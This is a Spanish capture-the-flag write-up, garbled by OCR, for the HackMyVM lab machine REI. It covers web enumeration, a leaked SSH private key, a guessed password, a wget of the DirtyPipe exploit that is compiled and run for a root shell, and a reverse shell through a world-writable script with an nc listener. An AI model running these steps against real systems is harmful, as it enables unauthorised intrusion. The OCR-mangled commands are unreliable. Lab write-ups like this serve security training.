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Introduccion

En esta ocasion, vamos a intentar explotar la Gltima creacion de @shelldredd, la maquina
REI. Es una maquina Linux y su nivel de dificultad es facil.

Enumeracion

Vamos a comenzar determinando la IP que tiene la maquina victima dentro de la red. Esto
se hace de la siguiente manera:
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Tenemos servicios abiertos en:

e Puerto 63777 http  lighttpd 1.4.59
e Puerto 65333 ssh  OpenSSH 8.4p1
Vamos a empezar analizando el servicio que se ejecuta en el puerto 63777 http.




Placeholder page

The owner of this web site has not put up any web pages yet. Please come back later.

You should replace this page with your own web pages as soon
as possible.

Unless you changed its configuration, your new server is configured as follows:

« Configuration files can be found in fetc/1ighttpd. Please read /etc/lighttpd/conf-available
/README file.

* The DocumentRoot, which is the directory under which all your HTML files should exist, is set to
Jvar/wevi/html.

« CGl scripts are looked for in /usr/lib/cgi-bin, which is where Debian packages will place their
scripts. You can enable cgi module by using command "lighty-enable-mod cgi"”.

* Log files are placed in /var/log/lighttpd, and will be rotated weekly. The frequency of rotation can
be easily changed by editing /etc/logrotate.d/lighttpd.

« The default directory index is index.html, meaning that requests for a directory /foo/bar/ will give
the contents of the file /var/www/html/foo/bar/index.html if it exists (assuming that /var/www/html is
your DocumentRoot).

« Additional documentation can be found at"text" archive: indexp in the default directory /var/www
Jhtml/ .

« You can enable user directories by using command "lighty-enable-mod userdir"

About this page

This is a placeholder page installed by the Debian release of the Lighttpd server package.

This computer has installed the Debian GNU/Linux operating system, but it has nothing to do with the
Debian Project. Please do not contact the Debian Project about it.

If you find a bug in this Lighttpd package, or in Lighttpd itself, please file a bug report on it. Instructions on
doing this, and the list of known bugs of this package, can be found in the Debian Bug Tracking
System.

Vamos a continuar realizando una exploracion de los directorios que se encuentran

disponibles.

~/..fauditorias_maquinas/otras_maquinas_vuln/REI/nmap
.1.56 77 . 1

HTTP
Output File: | : i, /reports/

Error L /hon

~/..fauditorias_maquinas/otras_maquinas_vuln/REI/nmap

Vamos a analizar la informacion contenida en el archivo robots.txt.




Aunque no contiene nada de utilidad. Volvemos a la web estatica por si hubiese alguna
informacion que nos pudiese ser de interés.

Placeholder page

The owner of this web site has not put up any web pages yet. Please come back later.

You should replace this page with your own web pages as soon
as possible.

Unless you changed its configuration, your new server is configured as follows:

« Configuration files can be found in /etc/lighttpd. Please read /etc/lighttpd/conf-available
/README file.

* The DocumentRoot, which is the directory under which all your HTML files should exist, is set to
Svar/wwa/html.

* CGl scripts are looked for in /fusr/1ib/cgi-bin, which is where Debian packages will place their
scripts. You can enable cgi module by using command "lighty-enable-mod cgi".

* Log files are placed in /var/log/lighttpd, and will be rotated weekly. The frequency of rotation can
be easily changed by editing /etc/logrotate.d/lighttpd.

* The default directory index is index.html, meaning that requests for a directory /foo/bar/ will give
the contents of the file /var/www/html/foo/bar/index.html if it exists (assuming that /var/www/html is
your DocumesR oot).

(M~ dditional do\.jnentation can be found at"text" archive: indexp in the default directory /var/
/html/ .

+ You can enable user directories by using command "lighty-enable-mod userdir”

Como podemos leer, en el texto se indica la existencia de un archivo indexp, en el
directorio raiz del servidor.
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Nos devuelve a que directorios podemos acceder y a cuales no. Vamos a utilizar curl,
para filtrar solo que directorios podemos ver su contenido.

Time
Total

fdmusic/promotions/AmazonMusicUnlimited
ishlist/universal
wishlist/vendor-button
our-button

ishlist/unive

ishlist/vendor-button
fwishlist/ipad-install
ichin/
ichin/ r-button

Vemos varias urls, visitamos cada una de ellas, para ver su contenido.




403 Forbidden

Las demas urls nos devuelven error 404.

Vamos a realizar un escaneo de directorios para las dos urls encontradas.

~/..fauditorias_maqu otras_maquinas_vuln/REI/nmap
ur-button/ /h

OQutput File: /honm ili/.dirse rts/ 3.1.5 chin-your-button-_

Error Lc

Vamos a ver que contiene el archivo en la direccion http://IP:63777/gichin/your-
button/note.html
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http://ip:63777/gichin/your-button/note.html
http://ip:63777/gichin/your-button/note.html

Vamos a ver el codigo fuente por si pudiese contener alguna informacion interesante.

b <script=[=</script=
w<div class="portada”=
b =div id="menu"=[= </div=
=div class="portada-index"></div=

w=div align="center"=
k <a style="font-weight: bold;" title="ENTER" href="chuck-norris.html" target=""=[=l</a>
<fdiv=

<fdiv=

Contiene un enlace. Vamos a ver su contenido. Ademas, de poder ser un posible usuario
para ssh (chuck-norris).

w» =div class="portada”>
w<div id="menu">
b =svg viewBox="0 8 1320 280"=[=l=/svg>
b =div class="contenedor-texto">= </div>
<fdiv=
=div class="portada-index"==</div=
wadiv align="center">

href="" target="">@l</a>

chuck-norris is the user masterjy

P <a style="font-weight: bold:;"
=fdivs
= fdive

Vemos una frase que también nos da indicios de que Chuck Norris es un usuario del
sistema.

Balance is key, ¢sera Balance un password?

Vamos a abrir el directorio ssh.




403 Forbidden

Vamos a realizar un escaneo del directorio ssh, para ver que informacion podemos
encontrar.

~/../auditorias_maquinas/otras_maquinas_vuln/REI/nmap
http://192.168.1.50:63777/gichin/your-button/ssh/ /home/kali/Desktop/listas/directory-list-2.
medium.txt 200,301 60

Extensions: HTTP method:

Output File: /home/kali/.dirsearch/reports/192.168.1.50-63777/-gichin-your-button-ssh-_22-04-03_12-44-39.txt

403 Forbidden

% Opening rsa
You have chosen to open:
B rsa

which is: applicationf
from: http:

Would you like to save this file?

Cancel

Vamos a descargarlo para ver su contenido.




~f../auditorias_maquinas/otras_maquinas_vuln/REI/nmap

_EEHIN OF'EN’-SH PRIVATE KEY——
rnUAAAAEDI’HQU._OAAAAAAAAAEAAAH wAAAAd

esBdmnUREMtyR3f
L6Ndn9JA15aGI91

—END OF'EI‘-JE-E-H PRIVATE hE\

Vamos a probar a utilizar esta clave RSA con el usuario chuck-norris que encontramos
anteriormente.

Flag user.txt

'~/../auditorias_maquinas/otras_maquinas_vuln/REI/nmap ]
rsa 65333

chuck-norris@192.168.1.50's password: I

Pero nos pide un password. Podemos probar una palabra que encontramos anteriormente
en una frase mientras analizdbamos el codigo fuente de la web. Esta palabra era balance
o0 Balance, vamos a probar.

El password correcto es balance.
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[j—[ })-1~/Desktop/HackMyVM/REI |
chuck-norrisg192.168.1.59 rsa

huck-norrisgl92.168.1.59"'s password:
Linux karate 5.10.2-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-32) x86 64

v

KARATE
SERVER

8.1.55"s password:
.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64

SERVER

3:52 2022 from 192.168.1.47

shelldredd_dojo.py user.txt
chuck-norrisgkarate:~% I

11



chuck-norrisgkarate:
()

(oo)
i 8o

T4
||I b

... "Have you mooed today?" ...
chuck-norrisagkarate:~% |

cat no funciona, vamos a probar otros programas para abrir este archivo. El primero sera
less. Si este no funciona, probamos con pico.

-Flag User:
H43

user.txt (END)

Con pico si funciona, y podemaos ver el contenido de la flag.

Elevacion de privilegios (DIRTYPIPE)

Vamos a descargar la utilidad linpeas.sh en la maquina victima. Esta utilidad realiza un
escaneo automatizado de todas las posibilidades de escalada de privilegios existentes en
la maquina objetivo.
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inpe:
linpeas_linux

Found
/github-production-

ithubusercontent (objects.githubusercontent.com)|185.199.109.
ting response

- *‘linpeas_linux_amd6

linpeas_linu d64 shelldredd_dojo.py user.
od +x linpeas_lin

Y lo ejecutamos.

Tras esperar un momento, nos devuelve informacion que puede ser de utilidad.

cuting Linux Exploit Suggeste 13

Details: https://www.graplsecurity.com/post/kernel-pwning-with-ebpf-a-love-story

Exposure: probable

Tags: ubuntu=20.04{kernel:5.8.0-(25|26(27]28|29(30|31|32|33|34(35|36(37|38(|39]40|41]42|43]|44]45|46]47|48]49]50]51]
52)-+},ubuntu=21.04{kernel:5.11.0-16-*}

Download URL: https://codeload.github.com/chompie1337/Linux_LPE_eBPF_CVE-2021-3490/zip/main

Comments: CONFIG_BPF_SYSCALL needs to be set §& kernel.unprivileged_bpf_disabled != 1

[+]

[+]

Details: https://dirtypipe.cméall.com/

Exposure: probable

Tags: ubuntu=(20.04|21.04),[ debian=11 ]
Download URL: https://haxx.in/files/dirtypipez.c

Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html

Exposure: less probable

Tags: ubuntu=20.04{kernel:5.8.0-*}

Download URL: https://raw.githubusercontent.com gle/security-research/master/pocs/linux/cve-2021-22555/exploit.

ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
Comments: ip_tables kernel module must be loaded

Tenemos tres CVE con los que podemos llegar a obtener root

Vamos a probar con dirtypipe.




Details: https://dirtypipe.cm4all.com/

Exposure: probable

Tags: ubuntu=(20.04|21.04),[ debian=11 ]
Download URL: https://haxx.in/files/dirtypipez.c

Descargamos el exploit en la maquina objetivo.

chuck-norrisgkarate:~$ wget https://raw.githubusercontent.com/febinrev/dirtypipez-exploit/main/dirtypipez.c
--2022-04-20 23:50:21-- https://raw.githubusercontent.com/febinrev/dirtypipez-exploit/main/dirtypipez.c
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.109.133, 185.199.111.133,

Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.

HTTP request sent, awaiting response... 200 OK

Length: 7335 (7.2K) [text/plain]

saving to: ‘dirtypipez.c’

dirtypipez.c % 7.16K --.-KB/s in @s

2022-04-20 23:50:21 (43.8 MB/s) - ‘dirtypipez.c’ saved [7335/7335]

chuck-norrisa g irtypipez.c -o exploit_pwn
chuck-norrisgkarate:~$% chmod +x exploit_pwn

Vamos a ejecutarlo. 1 4

chuck-norrisgkarate:~$ ./exploit_pwn /usr/bin/mount
[+] hijacking suid binary..

[+] dropping suid shell..

[+] restoring suid binary..

[+] popping root shell.. (dont forget to clean up /tmp/sh ;))
# whoami

Parece que tenemos acceso al usuario raiz. Vamos a buscar la flag que nos falta para
completar la maquina.

Para ello, nos dirigimos al directorio root y en su interior se encuentra la flag root.txt.

<&
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# cat root.txt

|WAX-ON, WAX-OFF|

ritrini plays with yi
area and maybe

O no, que también es una opcién. En el archivo podemos leer la frase de “Maritrini es la
clave”. Vamos a probar si existe algun archivo que se contenga en su nombre maritrini.

# find / -name '#.maritrini’
/mnt/.maritrini

Parece que si existe un archivo maritrini. Vamos a ver su contenido.

# cat /mnt/.maritrini

‘Flag root:
EWD1

L 1
!
\\
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Elevacion de privilegios (REVERSE SHELL)

Vamos a volver a ejecutar ./linpeas, para otros vectores de entrada. Y encontramos un
archivo que nos puede ser de utilidad.

Interesting writable files owned by me or writable by everyone (not in Home) (max 500)

dev/mgueue

dev/shm

home/chuck-norris

lost+found

/lost+found/sakugawa-kanga

run/lock

run/user/1000

run/user/1000/gnupg

run/user/1000/systemd

run/user/1000/systemd/inaccessible

run/user/1000/systemd/inaccessible/dir

run/user/1000/systemd/inaccessible/reg

run/user/1000/systemd/units

tmp

tmp/ . font-unix

tmp/ . ICE-unix

tmp/.Test-unix

tmp/.X11-unix

tmp/ . XIM-unix
/python3.9/subprocess.py

var/tmp

Analizamos los permisos para este archivo. 1 6

chuck-norrisgkarate:~$% 1s -al /lost+found/sakugawa-kanga.sh
-rwxrwxrwx 1 chuck-norris Mega-Punch 57 Apr 21 00:13 /lost+found/sakugawa-kanga.sh
chuck-norrisgkarate:~%

Vamos a ver el contenido del archivo.

/home/chuck-norris/ /share/nano/.edit.conf
"KARATE_CON_TE_WARE extracting information at: /home/chuck-norris/ /share/nano/.edit.conf

date >> /home/chuck-norris/ /share/nano/.edit.co
> /home/chuck-norris/ /share/nano/.edit.conf

Como vimos anteriormente, tenemos permiso de escritura en este archivo. Vamos a
utilizar esto para crear una reverse Shell.

Y nos ponemos de oyentes en nuestra maquina.

/home/kali/Desktop/HackMyVM/REI
nc IAANA

Para que la Shell funcione hay que experar un momento, no se ejecuta como root
inmediatamente.

<&
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/home/kali/Desktop/HackMyVM/REI
4444
: Version 7.92 ( https://nmap.org/ncat )
: Listening on :::4444

: Listening on 0.0.0.0:4444

: Connection from 192.168.1.59.

: Connection from 192.168.1.59:48900.

: cannot set terminal process group (547): Inappropriate ioctl for device
: no job control in this shell

rootakarate:/# ||

De esta forma, entramos directamente en el directorio raiz y desde ahi nos dirigimos a la
carpeta root, donde Shelldredd nos hace el lio con la flag.

rootaokarate:~# cat root.txt
cat root.txt

17

| Maritrini plays with you, call her by name from the
| hidden area and maybe she will give you back the password. |

rootakarate:~# J|

Y donde deberemos buscar la flag maritrini de la misma manera que lo hicimos en la
forma 1.

Esto es todo. Como siempre Shelldredd no decepciona, con maquinas muy curradas
donde no todo es lo que parece.




